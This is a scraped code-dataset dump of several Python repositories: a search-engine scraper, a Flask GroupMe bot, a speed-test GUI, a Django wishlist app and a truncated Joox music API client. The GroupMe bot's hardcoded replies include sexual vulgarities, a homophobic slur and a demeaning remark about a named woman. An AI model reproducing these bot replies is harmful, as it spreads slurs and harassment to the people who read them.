"text": "# -*- coding:utf-8 -*-\nfrom urllib.parse import quote_plus\nfrom bs4 import BeautifulSoup\n\nfrom searcher.engines.engine_base import BaseSearcher\n\n\nclass Mail(BaseSearcher):\n\n def build_url(self, start):\n phrase = quote_plus(self.request)\n self.url = f\"https://go.mail.ru/search?fm=1&q={phrase}&sf={str(start)}\"\n\n def parse_page(self):\n soup = BeautifulSoup(self.text, 'lxml')\n for block in soup.find_all('li', class_=\"result__li\"):\n if self.current_item < self.count and block.a is not None:\n link = block.a.get('href')\n link_name = block.a.text\n self.results.append({'Name': link_name, 'Link': link})\n self.current_item += 1\n\n def run(self):\n while self.current_item < self.count:\n if self.current_item < 11:\n start = 1\n else:\n start = (self.current_item // 10 + 1) * 10\n self.build_url(start)\n self.get_page()\n self.parse_page()\n return self.print_result()\n"
},
{
"alpha_fraction": 0.6591836810112,
"alphanum_fraction": 0.6612244844436646,
"avg_line_length": 41.60869598388672,
"blob_id": "c7fb09968e9d4d88908d27cc9f3a4238b890c0b8",
"content_id": "c7474ec414f2502948a2a1a75ff66228ebc251c2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 980,
"license_type": "no_license",
"max_line_length": 110,
"num_lines": 23,
"path": "/searcher/cli.py",
"repo_name": "TimBerk/searcher",
"src_encoding": "UTF-8",
"text": "# -*- coding:utf-8 -*-\n\nimport argparse\nfrom searcher.core import parse\n\n\ndef main():\n access_searches = ['google', 'rambler', 'bing', 'yahoo']\n parser = argparse.ArgumentParser(description='Console searcher')\n parser.add_argument('request', type=str, help=\"Text of request\")\n parser.add_argument('searcher', choices=access_searches, type=str, help=\"Search system\")\n parser.add_argument('count', type=int, help=\"Result count\")\n parser.add_argument('-r', type=bool, dest='recurse', nargs='*', default=False, help=\"Used recurse search\")\n parser.add_argument('-d', type=int, dest='recurse_deep', default=1, help=\"Deep recurse search\")\n parser.add_argument('-f', type=str, dest='format', default='console',\n help=\"Set format of output(console, json, csv)\")\n\n args = parser.parse_args()\n print(parse(args.request, args.searcher, args.count, args.recurse, args.recurse_deep, args.format))\n\n\n# if __name__ == '__main__':\n# main()\n"
}
] | 9 |
hbugs3/bots | https://github.com/hbugs3/bots | d541db1d37003088a2ae7013a28507f339853e7e | 2f2164789c1a605edeb454f3e361b0fdd51f8a45 | f4417a4444dc1f6aba06b7353f41d06399a8ffe6 | refs/heads/master | 2020-03-11T21:44:41.687816 | 2018-05-07T03:02:25 | 2018-05-07T03:02:25 | 130,274,025 | 0 | 0 | null | 2018-04-19T21:23:18 | 2018-05-07T03:11:08 | 2020-06-05T18:10:46 | Python | [
{
"alpha_fraction": 0.47533631324768066,
"alphanum_fraction": 0.6995515823364258,
"avg_line_length": 14.928571701049805,
"blob_id": "e33e8e67773a766229f2d85a0f9d3921a49df4a1",
"content_id": "d0104e205dd1b8e43b16c4d29659f2420db7214d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 446,
"license_type": "no_license",
"max_line_length": 24,
"num_lines": 28,
"path": "/requirements.txt",
"repo_name": "hbugs3/bots",
"src_encoding": "UTF-8",
"text": "astroid==1.6.3\nbeautifulsoup4==4.6.0\ncertifi==2018.4.16\nchardet==3.0.4\nclick==6.7\ncolorama==0.3.9\nDjango==2.0.4\nFlask==0.12\ngeographiclib==1.49\ngeopy==1.13.0\ngunicorn==19.6.0\nidna==2.6\nisort==4.3.4\nitsdangerous==0.24\nJinja2==2.10\nlazy-object-proxy==1.3.1\nMarkupSafe==1.0\nmccabe==0.6.1\npipenv==11.10.0\npylint==1.8.4\npytz==2018.4\nrequests==2.18.4\nsix==1.11.0\nurllib3==1.22\nvirtualenv==15.2.0\nvirtualenv-clone==0.3.0\nWerkzeug==0.14.1\nwrapt==1.10.11\n"
},
{
"alpha_fraction": 0.5744075775146484,
"alphanum_fraction": 0.5876777172088623,
"avg_line_length": 29.594202041625977,
"blob_id": "af9906e0546823c137900883f7b05bae581f92b7",
"content_id": "fd918e979b6eb6c928dcaed2ea148b02c478d425",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2110,
"license_type": "no_license",
"max_line_length": 159,
"num_lines": 69,
"path": "/app.py",
"repo_name": "hbugs3/bots",
"src_encoding": "UTF-8",
"text": "import os\nimport random\nimport requests\n\nfrom flask import Flask, json, request, render_template\n\napp = Flask(__name__)\n\[email protected]('/', methods = ['GET', 'POST'])\ndef main():\n\tif request.method == 'POST':\n\t\trandom.seed()\n\n\t\ttext_list\t\t= []\n\t\tpussy_response\t= ['I have detected pussy, bitch bois', 'mhhm, I love me some pussy',\n\t\t\t\t\t\t\t'I ate that pussy like shrimp fried rice', 'fuckin pussy', 'B===D~~ ()',\n\t\t\t\t\t\t\t'Pussy faggot']\n\t\tbot_response\t= ['Stop talking about me, you fucking pussy', 'oi, fuk off m8']\n\t\tpussy_list\t\t= ['pussy' , '()', 'pussies' , 'pussy!', '()!', 'pussies!', 'pussy?', '()?',\n\t\t\t\t\t\t\t'pussies?', 'pussy.', '().', 'pussies.', 'pussy,', '(),', 'pussies,']\n\t\tbot_list\t\t= ['bot', 'bot.', 'bot,', 'bot!', 'bot?']\n\n\t\tdata = request.get_json()\n\t\tpussy_index = random.randint(0, 5)\n\t\tbot_index = random.randint(0, 1)\n\n\t\tif data['sender_type'] != 'bot':\n\t\t\tfor text in (data['text']).split():\n\t\t\t\ttext_list.append(text.lower())\n\n\t\t\tfor word in text_list:\n\t\t\t\tif word in pussy_list:\n\t\t\t\t\treply(pussy_response[pussy_index], 'PUSSY_BOT')\n\t\t\t\t\ttext_list[:] = []\n\t\t\t\t\tbreak\n\n\t\t\tfor word in text_list:\n\t\t\t\tif word in bot_list:\n\t\t\t\t\treply(bot_response[bot_index], 'PUSSY_BOT')\n\t\t\t\t\ttext_list[:] = []\n\t\t\t\t\tbreak\n\n\t\t\tif text_list[0] == '/liz':\n\t\t\t\tcurrent = int(data['created_at'])\n\t\t\t\telapsed = current - int(os.environ.get('DATE'))\n\t\t\t\tdays = elapsed // 86400\n\t\t\t\thours = elapsed // 3600 % 24\n\t\t\t\tminutes = elapsed // 60 % 60\n\t\t\t\tseconds = elapsed % 60\n\n\t\t\t\ttext = 'It has been {} days, {} hours, {} minutes, and {} seconds since Liz has last contacted a member of The Gang.'.format(days, hours, minutes, seconds)\n\t\t\t\treply(text, 'LIZ_BOT')\n\n\t\t\tif text_list[0] == '/reset':\n\t\t\t\tos.environ['DATE'] = str(data['created_at'])\n\t\t\t\treply('That slutty bitch.. Time has been reset.', 'LIZ_BOT')\n\n\t\treturn 'ok', 200\n\n\telif request.method == 'GET':\n\t\treturn render_template('home_page.html')\n\ndef reply(text, BOT_ID):\n\turl = 'https://api.groupme.com/v3/bots/post'\n\tdata = { 'bot_id': os.environ.get(BOT_ID), 'text': text }\n\trequests.post(url, json = data)\n\nif __name__ == '__main__':\n\tapp.run()"
}
] | 2 |
vaseeece/PySpeedtester | https://github.com/vaseeece/PySpeedtester | c5ebdc74873d789ba78ab4832e067f7570b8a059 | 7ca4db91ab5a714df1081ced63e56b3fade4e01f | 06ae42063ba072e9edbae3a2922277a4d2ec7b2c | refs/heads/master | 2022-05-25T13:17:24.708122 | 2020-04-29T11:06:38 | 2020-04-29T11:06:38 | 259,901,796 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6403836011886597,
"alphanum_fraction": 0.6606286764144897,
"avg_line_length": 37.10416793823242,
"blob_id": "69398abcc5869d84c45d4a4759616917f1a6577e",
"content_id": "27d06fd38fafe02f059a17c20b6197175fa3d361",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1877,
"license_type": "no_license",
"max_line_length": 112,
"num_lines": 48,
"path": "/speed_test.py",
"repo_name": "vaseeece/PySpeedtester",
"src_encoding": "UTF-8",
"text": "from tkinter import *\r\nfrom tkinter.ttk import Progressbar\r\nfrom tkinter import ttk\r\nfrom importlib import reload\r\nimport speedtest\r\n\r\nst = speedtest.Speedtest()\r\n\r\ndowload_speed = st.download() / 1000.0 / 1000.0\r\ndnld_mpbs = \"{:.2f}\".format(dowload_speed)\r\nupload_speed = st.upload() / 1000.0 / 1000.0\r\nupld_mpbs = \"{:.2f}\".format(upload_speed)\r\nping = st.results.ping\r\nisp = st.results.client['isp']\r\ncountry = st.results.client['country']\r\nip = st.results.client['ip']\r\nserver = st.results.server['sponsor']\r\nsever_location = st.results.server['name']\r\n\r\nwindow = Tk()\r\nwindow.title(\"PySpeedTester\")\r\nwindow.geometry('400x300')\r\nwindow.iconbitmap('speedtest.ico')\r\n#window.configure(bg='white')\r\n\r\nstyle = ttk.Style()\r\nstyle.theme_use('default')\r\nstyle.configure(\"black.Horizontal.TProgressbar\", background='green', justify='center')\r\nstyle.configure(\"BW.TLabel\", foreground=\"black\", background=\"white\")\r\nlabel = Label(window, text=\" python based internet speed tester \\n \", justify=CENTER, anchor=NW).grid()\r\n\r\nNetwork_det_label = Label(window, text='Network : '+isp+' Test server : '+server+\r\n\t ' \\n \\ncountry : '+country+' Region : '+sever_location+\r\n\t ' \\n \\nip address : '+ip+' \\n \\nPing Time : '+str(round(ping, 0))+\r\n\t ' ms \\n ', justify=LEFT, anchor=NW\r\n\t ).grid()\r\n\r\nbar = Progressbar(window, length=200, style='black.Horizontal.TProgressbar', mode=\"determinate\")\r\nbar['value'] = dnld_mpbs\r\nbar.grid()\r\ndnld_label = Label(window, text='Download speed : '+str(dnld_mpbs)+' Mbps \\n ', justify=LEFT, anchor=NW).grid()\r\n\r\nbar1 = Progressbar(window, length=200, style='black.Horizontal.TProgressbar', mode=\"determinate\")\r\nbar1['value'] = upld_mpbs\r\nbar1.grid()\r\nupld_label = Label(window, text='Upload speed : '+str(upld_mpbs)+' Mbps', justify=LEFT, anchor=NW).grid()\r\n\r\nwindow.mainloop()\r\n"
},
{
"alpha_fraction": 0.8207547068595886,
"alphanum_fraction": 0.8207547068595886,
"avg_line_length": 16.66666603088379,
"blob_id": "b07de370e2951cc1851c44ce0a78501858b72185",
"content_id": "f8372313b8c252b9537ab1d0f46e110dbb961219",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 106,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 6,
"path": "/README.md",
"repo_name": "vaseeece/PySpeedtester",
"src_encoding": "UTF-8",
"text": "# PySpeedtester\nA Python based internet speed tester with GUI\n\nrequirements:\n\npip install speedtester-cli\n"
}
] | 2 |
joekuo135/Wishlist | https://github.com/joekuo135/Wishlist | eda379af546eb83ddd15aaf5be79e0838a67013d | 56efe344cc9887b612432f288f045d279afc86d3 | cf840b42313db52251e10fc829c69eff99bcc388 | refs/heads/master | 2021-01-19T16:40:35.901130 | 2017-08-22T04:31:36 | 2017-08-22T04:31:36 | 101,015,677 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.632022500038147,
"alphanum_fraction": 0.632022500038147,
"avg_line_length": 28.75,
"blob_id": "6a2d4cbae2cb98a8eebdfbd37e35f32a302fddd4",
"content_id": "0bc37c02d2b0f4fe43ec0fbd45bcac4430d9fd59",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 356,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 12,
"path": "/apps/wishlist/urls.py",
"repo_name": "joekuo135/Wishlist",
"src_encoding": "UTF-8",
"text": "from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n\turl(r'^dashboard', views.dash),\n\turl(r'^wish_items/create', views.create),\n\turl(r'^new_item', views.new_item),\n\turl(r'^wish/(?P<id>\\d+)', views.wish),\n\turl(r'^unwish/(?P<id>\\d+)', views.unwish),\n\turl(r'^delete/(?P<id>\\d+)', views.delete),\n\turl(r'^wish_items/(?P<id>\\d+)', views.show)\n]"
},
{
"alpha_fraction": 0.6906412243843079,
"alphanum_fraction": 0.6906412243843079,
"avg_line_length": 28.227848052978516,
"blob_id": "3643ea9db6bca4e90171fd689f5602d724c88463",
"content_id": "b4592e2bc48cefe2206f5352369393ea16cd8b2a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2308,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 79,
"path": "/apps/wishlist/views.py",
"repo_name": "joekuo135/Wishlist",
"src_encoding": "UTF-8",
"text": "from __future__ import unicode_literals\nfrom django.shortcuts import render, HttpResponse, redirect\nfrom django.contrib import messages\nfrom django.contrib.messages import get_messages\nfrom ..logandreg.models import User, Item\n\n# Create your views here.\ndef dash(request):\n\tif request.session.get('user_id', False):\n\t\tcontext = {\n\t\t\t'user': User.objects.get(id=request.session['user_id']),\n\t\t\t'items': Item.objects.all(),\n\t\t\t'wishlist': User.objects.get(id=request.session['user_id']).wish_items.all()\n\t\t}\n\t\treturn render(request, 'wishlist/dash.html', context)\n\telse:\n\t\treturn redirect('/')\n\ndef create(request):\n\tif request.session.get('user_id', False):\n\t\tcontext = {\n\t\t\t'messages': get_messages(request)\n\t\t}\n\t\treturn render(request, 'wishlist/create.html', context)\n\telse:\n\t\treturn redirect('/')\n\ndef new_item(request):\n\tif request.session.get('user_id', False):\n\t\tif request.method == \"POST\":\n\t\t\terrors = Item.objects.validator(request.POST)\n\t\t\tif len(errors):\n\t\t\t\tfor tag, error in errors.iteritems():\n\t\t\t\t\tmessages.error(request, error, extra_tags=tag)\n\t\t\t\treturn redirect('/wish_items/create')\n\t\t\telse:\n\t\t\t\tuser = User.objects.get(id=request.session['user_id']) #current user\n\t\t\t\titem = Item.objects.create(name=request.POST['name'], user=user)\n\t\t\t\titem.wish_users.add(user)\n\t\t\t\treturn redirect('/dashboard')\n\t\telse:\n\t\t\treturn redirect('/')\n\telse:\n\t\treturn redirect('/')\n\ndef wish(request, id):\n\tif request.session.get('user_id', False):\n\t\tuser = User.objects.get(id=request.session['user_id'])\n\t\titem = Item.objects.get(id=id)\n\t\titem.wish_users.add(user)\n\t\treturn redirect('/dashboard')\n\telse:\n\t\treturn redirect('/')\n\ndef unwish(request, id):\n\tif request.session.get('user_id', False):\n\t\tuser = User.objects.get(id=request.session['user_id'])\n\t\titem = Item.objects.get(id=id)\n\t\titem.wish_users.remove(user)\n\t\treturn redirect('/dashboard')\n\telse:\n\t\treturn redirect('/')\n\ndef delete(request, id):\n\tif request.session.get('user_id', False):\n\t\tItem.objects.get(id=id).delete()\n\t\treturn redirect('/dashboard')\n\telse:\n\t\treturn redirect('/')\n\ndef show(request, id):\n\tif request.session.get('user_id', False):\n\t\tcontext = {\n\t\t\t'item': Item.objects.get(id=id),\n\t\t\t'users': Item.objects.get(id=id).wish_users.all()\n\t\t}\n\t\treturn render(request, 'wishlist/wish_item.html', context)\n\telse:\n\t\treturn redirect('/')"
},
{
"alpha_fraction": 0.6793607473373413,
"alphanum_fraction": 0.6922815442085266,
"avg_line_length": 32.431819915771484,
"blob_id": "8a84d71b034a48751fe60ed8dcd8dec4ecead80c",
"content_id": "aac13a08292241c8d1ee5c87ad5699873fffa3e3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2941,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 88,
"path": "/apps/logandreg/models.py",
"repo_name": "joekuo135/Wishlist",
"src_encoding": "UTF-8",
"text": "from __future__ import unicode_literals\nfrom django.db import models\nfrom datetime import datetime\nimport re\nimport bcrypt\n\n# Create your models here.\nclass UserManager(models.Manager):\n\tdef registration_validator(self, postData):\n\t\terrors = {}\n\t\tif len(postData['name']) < 1:\n\t\t\terrors[\"name1\"] = \"Name is required!\"\n\t\telse:\n\t\t\tif len(postData['name']) < 3:\n\t\t\t\terrors[\"name2\"] = \"Name must be at least 3 characters!\"\n\n\t\tif len(postData['username']) < 1:\n\t\t\terrors[\"username1\"] = \"Username is required!\"\n\t\telse:\n\t\t\tif len(postData['username']) < 3:\n\t\t\t\terrors[\"username2\"] = \"Username must be at least 3 characters!\"\n\n\t\tif len(postData['password']) < 1:\n\t\t\terrors[\"password1\"] = \"Password is required!\"\n\t\telse:\n\t\t\tif len(postData['password']) < 8:\n\t\t\t\terrors[\"password2\"] = \"Password must be at least 8 characters!\"\n\n\t\tif postData['password'] != postData['pass_confirm']:\n\t\t\terrors[\"password3\"] = \"Password and confirmation field must match!\"\n\n\t\tif list(User.objects.filter(username=postData['username'])) != []:\n\t\t\terrors[\"username3\"] = \"This username is already in use!\"\n\n\t\tif postData['hired'] == '':\n\t\t\terrors['hired1'] = \"Must enter hired date!\"\n\t\telse:\n\t\t\tdate_format = \"%Y-%m-%d\"\n\t\t\tinput_hired = datetime.strptime(postData['hired'], date_format)\n\t\t\tnow = datetime.now()\n\t\t\tif input_hired >= now:\n\t\t\t\terrors[\"hired2\"] = \"Date hired can not be in the future!\"\n\n\t\t\n\t\treturn errors\n\n\tdef login_validator(self, postData):\n\t\terrors = {}\n\t\tif len(postData['username']) < 1:\n\t\t\terrors[\"login\"] = \"Username and password combination not in our record!\"\n\t\tif len(postData['password']) < 1:\n\t\t\terrors[\"login\"] = \"Username and password combination not in our record!\"\n\t\ttry:\n\t\t\tuser = User.objects.get(username=postData['username'])\n\t\t\tif not bcrypt.checkpw(postData['password'].encode(), user.password.encode()):\n\t\t\t\terrors[\"login\"] = \"Password does not match our record.\"\n\t\texcept:\n\t\t\terrors[\"login\"] = \"Username and password combination are not in our record\"\n\t\treturn errors\n\nclass ItemManager(models.Manager):\n\tdef validator(self,postData):\n\t\terrors = {}\n\t\tif len(postData['name']) < 1:\n\t\t\terrors[\"name1\"] = \"Item field is required!\"\n\t\telif len(postData['name']) < 4:\n\t\t\terrors[\"name2\"] = \"Item field must be more than 3 characters!\"\n\t\treturn errors\n\n\nclass User(models.Model):\n\tname = models.CharField(max_length=255)\n\tusername = models.CharField(max_length=255)\n\tpassword = models.CharField(max_length=255)\n\thired = models.DateTimeField(auto_now_add=True)\n\tcreated_at = models.DateTimeField(auto_now_add=True)\n\tupdated_at = models.DateTimeField(auto_now=True)\n\n\tobjects = UserManager()\n\nclass Item(models.Model):\n\tname = models.CharField(max_length=255)\n\tcreated_at = models.DateTimeField(auto_now_add=True)\n\tupdated_at = models.DateTimeField(auto_now=True)\n\tuser = models.ForeignKey('User', related_name=\"items\") #user that added the quote\n\twish_users = models.ManyToManyField('User', related_name=\"wish_items\")\n\n\tobjects = ItemManager()"
},
{
"alpha_fraction": 0.7231165766716003,
"alphanum_fraction": 0.7231165766716003,
"avg_line_length": 33.511112213134766,
"blob_id": "194c02074afad6b18d82589d95ac2180acee643b",
"content_id": "fb4b0c1ea25f795394ddc2281b5092382115ce34",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1553,
"license_type": "no_license",
"max_line_length": 131,
"num_lines": 45,
"path": "/apps/logandreg/views.py",
"repo_name": "joekuo135/Wishlist",
"src_encoding": "UTF-8",
"text": "from __future__ import unicode_literals\nfrom django.shortcuts import render, HttpResponse, redirect\nfrom .models import User\nfrom django.contrib import messages\nfrom django.contrib.messages import get_messages\nfrom datetime import datetime\nimport bcrypt\n\n# Create your views here.\ndef index(request):\n\tcontext = {\n\t\t'messages': get_messages(request)\n\t}\n\treturn render(request, 'logandreg/index.html', context)\n\ndef add(request):\n\tif request.method == \"POST\":\n\t\terrors = User.objects.registration_validator(request.POST)\n\t\tif len(errors):\n\t\t\tfor tag, error in errors.iteritems():\n\t\t\t\tmessages.error(request, error, extra_tags=tag)\n\t\t\treturn redirect('/')\n\t\telse:\n\t\t\thash_pass = bcrypt.hashpw(request.POST['password'].encode(), bcrypt.gensalt())\n\t\t\tdate_format = \"%Y-%m-%d\"\n\t\t\tinput_hired = datetime.strptime(request.POST['hired'], date_format)\n\t\t\tuser = User.objects.create(name=request.POST['name'], username=request.POST['username'], password=hash_pass, hired=input_hired)\n\t\t\tmessages.success(request, 'You have successfully registered!', extra_tags='register')\n\t\t\treturn redirect('/')\n\ndef login(request):\n\tif request.method == \"POST\":\n\t\terrors = User.objects.login_validator(request.POST)\n\t\tif len(errors):\n\t\t\tfor tag, error in errors.iteritems():\n\t\t\t\tmessages.error(request, error, extra_tags=tag)\n\t\t\treturn redirect('/')\n\t\telse:\n\t\t\tuser = User.objects.get(username=request.POST['username'])\n\t\t\trequest.session['user_id'] = user.id\n\t\t\treturn redirect('/dashboard')\n\ndef logout(request):\n\trequest.session.pop('user_id', None)\n\treturn redirect('/')\n"
},
{
"alpha_fraction": 0.4678899049758911,
"alphanum_fraction": 0.6880733966827393,
"avg_line_length": 14.571428298950195,
"blob_id": "e8ad2e76961b7d3785fdb519860b2338bbea62a5",
"content_id": "cb2b22a86658c8f600aac72d8efc29aa2eb5f300",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 109,
"license_type": "no_license",
"max_line_length": 24,
"num_lines": 7,
"path": "/requirements.txt",
"repo_name": "joekuo135/Wishlist",
"src_encoding": "UTF-8",
"text": "bcrypt==3.1.3\ncffi==1.10.0\nDjango==1.10\ndjango-extensions==1.8.1\npsycopg2==2.7.3\npycparser==2.18\nsix==1.10.0\n"
}
] | 5 |
anggialberto/joox-py | https://github.com/anggialberto/joox-py | 30758451c069b9ce77391d89def68a53feb12349 | af60663a9659517c11211aa239473be06e1b4fdb | 552d18426534f20b5ada4b31449075c9032f72f7 | refs/heads/master | 2020-04-23T10:16:15.941938 | 2019-02-17T09:00:50 | 2019-02-17T09:00:50 | 171,098,585 | 3 | 2 | null | null | null | null | null | [
{
"alpha_fraction": 0.5577279329299927,
"alphanum_fraction": 0.5742951035499573,
"avg_line_length": 35.23371505737305,
"blob_id": "c2cded6fe237d4fced3bb35030864960b9bb68e3",
"content_id": "14b0cf3914046066955a4bee1b0b4acd3435b084",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9718,
"license_type": "permissive",
"max_line_length": 96,
"num_lines": 261,
"path": "/jooxpy/client.py",
"repo_name": "anggialberto/joox-py",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\r\nfrom .utils import encryptPassword\r\n\r\nimport requests\r\nimport base64\r\nimport json\r\nimport os\r\n\r\n\"\"\" A simple and thin Python library for the Joox Web API\r\n\"\"\"\r\n\r\n\r\nclass Joox(object):\r\n\r\n DEFAULT_PARAMS = dict(country=\"id\", lang=\"en\")\r\n\r\n def __init__(self, auth=None):\r\n self.prefix = \"https://api-jooxtt.sanook.com/web-fcgi-bin\"\r\n self.headers = {\r\n \"Origin\": \"https://www.joox.com\",\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 \\\r\n (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\"\r\n }\r\n self._auth = auth\r\n\r\n \"\"\" HTTP REQUEST \"\"\"\r\n\r\n def _auth_session(self):\r\n if self._auth:\r\n return self._auth.getUserInfo()\r\n return None\r\n\r\n def _get(self, url, params={}, withAuth=False, headers=None):\r\n if withAuth:\r\n auth = self._auth_session()\r\n params.update(dict(wmid=auth[\"wmid\"],\r\n s=auth[\"session_key\"], u=auth[\"user_type\"], c=auth[\"reg_country\"]\r\n ))\r\n params.update(self.DEFAULT_PARAMS)\r\n\r\n if headers is None:\r\n headers = self.headers\r\n return requests.get(url, params=params, headers=headers)\r\n\r\n def _post(self, url, params={}, payload={}, files=None, headers=None):\r\n auth = self._auth_session()\r\n params = dict(wmid=auth[\"wmid\"],\r\n s=auth[\"session_key\"], u=auth[\"user_type\"], c=auth[\"reg_country\"]\r\n )\r\n payload.update({\"wmid\": auth[\"wmid\"], **self.DEFAULT_PARAMS})\r\n if headers is None:\r\n headers = self.headers\r\n return requests.post(url, params=params, data=json.dumps(payload), headers=headers)\r\n\r\n \"\"\" USER JOOX FITURE\"\"\"\r\n\r\n def getAllMyPlaylist(self):\r\n params = dict(reqtype=4, inner=1)\r\n\r\n r = self._get(self.prefix + \"/web_getfav\",\r\n params=params, withAuth=True)\r\n if r.status_code != 200:\r\n raise(\"Failed to get all my playlist request.\")\r\n return json.loads(r.text)\r\n\r\n def getMyPlaylist(self, myPlaylistId):\r\n params = dict(reqtype=3, inner=1, listid=myPlaylistId)\r\n\r\n r = self._get(self.prefix + \"/web_getfav\",\r\n params=params, withAuth=True)\r\n if r.status_code != 200:\r\n raise(\"Failed to get my playlist request.\")\r\n return json.loads(r.text)\r\n\r\n def createPlaylist(self, playlistName):\r\n playlistName = base64.b64encode(\r\n bytes(playlistName, \"utf-8\")).decode(\"utf-8\")\r\n \r\n payload = dict(channel_id=1, from_type=3, items=[\r\n dict(gt=0, gl=\"\", mv=0, dv=0, fn=playlistName)])\r\n \r\n r = self._post(self.prefix + \"/web_fav_add_dir\", payload=payload)\r\n if r.status_code != 200:\r\n raise(\"Failed to create playlist request.\")\r\n return json.loads(r.text)\r\n\r\n def removeMyPlaylist(self, myPlaylistId):\r\n getMyplaylist = self.getMyPlaylist(myPlaylistId)\r\n dv = getMyplaylist[\"detail_ver\"]\r\n \r\n payload = dict(\r\n items=[dict(gt=myPlaylistId, gl=\"\", mv=dv, dv=dv, fn=\"\")])\r\n \r\n r = self._post(self.prefix + \"/web_fav_del_dir\", payload=payload)\r\n if r.status_code != 200:\r\n raise(\"Failed to remove my playlist request.\")\r\n return json.loads(r.text)\r\n\r\n def addTracksToMyPlaylist(self, songId, myPlaylistId):\r\n getMyplaylist = self.getMyPlaylist(myPlaylistId)\r\n dv = getMyplaylist[\"detail_ver\"]\r\n\r\n payload = dict(\r\n items=[dict(gt=myPlaylistId, gl=songId, mv=dv, dv=dv, fn=\"\")])\r\n \r\n r = self._post(self.prefix + \"/web_fav_add_song\", payload=payload)\r\n if r.status_code != 200:\r\n raise(\"Failed to add track to my playlist request.\")\r\n return json.loads(r.text)\r\n\r\n def removeTracksFromMyPlaylist(self, songId, myPlaylistId):\r\n getMyplaylist = self.getMyPlaylist(myPlaylistId)\r\n dv = getMyplaylist[\"detail_ver\"]\r\n \r\n payload = dict(\r\n items=[dict(gt=myPlaylistId, gl=songId, mv=dv, dv=dv, fn=\"\")])\r\n \r\n r = self._post(self.prefix + \"/web_fav_del_song\", payload=payload)\r\n if r.status_code != 200:\r\n raise(\"Failed to remove track to my playlist request.\")\r\n return json.loads(r.text)\r\n\r\n \"\"\" PUBLIC JOOX FITURE\"\"\"\r\n\r\n def search(self, q, type, limit, offset):\r\n params = dict(search_input=q, sin=offset, ein=limit, type=type)\r\n\r\n r = self._get(self.prefix + \"/web_search\",\r\n params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get search request.\")\r\n return json.loads(r.text)\r\n\r\n def searchTracks(self, q, limit=30, offset=0):\r\n return self.search(q, None, limit, offset)\r\n\r\n def searchArtists(self, q, limit=30, offset=0):\r\n return self.search(q, 2, limit, offset)\r\n\r\n def searchAlbums(self, q, limit=30, offset=0):\r\n return self.search(q, 1, limit, offset)\r\n\r\n def searchPlaylist(self, q, limit=30, offset=0):\r\n return self.search(q, 3, limit, offset)\r\n\r\n def getPlaylistTaglist(self):\r\n r = self._get(self.prefix + \"/web_tag_list\")\r\n if r.status_code != 200:\r\n raise(\"Failed to get playlist taglist request.\")\r\n return json.loads(r.text)\r\n\r\n def getAllPlaylist(self, tagId=None, limit=50, offset=0):\r\n params = dict(sin=offset, ein=limit, req_type=5, tag_id=tagId)\r\n\r\n r = self._get(self.prefix + \"/web_recommend_more\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get all playlist request.\")\r\n return json.loads(r.text)\r\n\r\n def getCategoryPlaylist(self, tagId, limit=50, offset=0):\r\n return self.getAllPlaylist(tagId, limit, offset)\r\n\r\n def getPlaylist(self, playlistId):\r\n params = dict(qryDissID=playlistId)\r\n\r\n r = self._get(self.prefix + \"/web_get_diss\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get playlist request.\")\r\n return json.loads(r.text)\r\n\r\n def getAllAlbum(self, limit=50, offset=0):\r\n params = dict(sin=offset, ein=limit, req_type=4)\r\n\r\n r = self._get(self.prefix + \"/web_recommend_more\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get all album request.\")\r\n return json.loads(r.text)\r\n\r\n def getAlbumInfo(self, albumId):\r\n params = dict(all=1, albumid=albumId)\r\n\r\n r = self._get(self.prefix + \"/web_get_albuminfo\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get album info request\")\r\n return json.loads(r.text)\r\n\r\n def getHotTracksAndArtists(self):\r\n r = self._get(self.prefix + \"/web_hot_query\")\r\n if r.status_code != 200:\r\n raise(\"Failed to get hot tracks request.\")\r\n return json.loads(r.text)\r\n\r\n def getTopChartList(self):\r\n params = dict(song_num=1)\r\n\r\n r = self._get(self.prefix + \"/web_get_toplist\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get top list request.\")\r\n return json.loads(r.text)\r\n\r\n def getTopChart(self, topId=33, limit=100, offset=0):\r\n params = dict(sin=offset, ein=limit, topid=topId)\r\n\r\n r = self._get(self.prefix + \"/web_toplist_detail\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get top charts request.\")\r\n return json.loads(r.text)\r\n\r\n def getAllArtist(self, limit=49, offset=0):\r\n params = dict(sin=offset, ein=limit, is_all=1)\r\n\r\n r = self._get(self.prefix + \"/web_all_singer_list\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get all artist request.\")\r\n return json.loads(r.text)\r\n\r\n def getArtistCategory(self):\r\n r = self._get(self.prefix + \"/web_singer_category\", params=params)\r\n if r.status_code != 200:\r\n raise(\"Failed to get artist category 